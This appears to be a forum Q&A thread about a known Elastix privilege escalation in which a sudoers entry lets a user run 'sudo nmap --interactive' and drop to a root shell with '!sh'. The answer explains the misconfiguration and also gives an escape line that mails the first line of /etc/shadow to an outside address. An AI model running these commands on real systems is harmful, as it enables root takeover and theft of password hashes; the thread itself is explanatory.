3

Here is a privilege escalation vulnerability on Elastix:

# id
# uid=100(name) gid=101(name)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

How could a normal user start nmap with sudo privilege? What exactly is misconfigured here?

Source: http://seclists.org/fulldisclosure/2012/Mar/234

3

The misconfiguration would come from either a group, or user entry in sudoers.conf. This is the file that controls who can do what (with regards to sudo). In this instance judging by your commands (if they were not edited) the sudoers file contains an entry for the user asterisk to run the sudo command without entering a password.

Now in the case of nmap --interactive - that was removed some time ago. There was an escape trick that someone could use while in nmap to abuse the system. E.g.:

nmap> !head -n1 /etc/shadow | mail -s shadow my@emailaddr.com

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.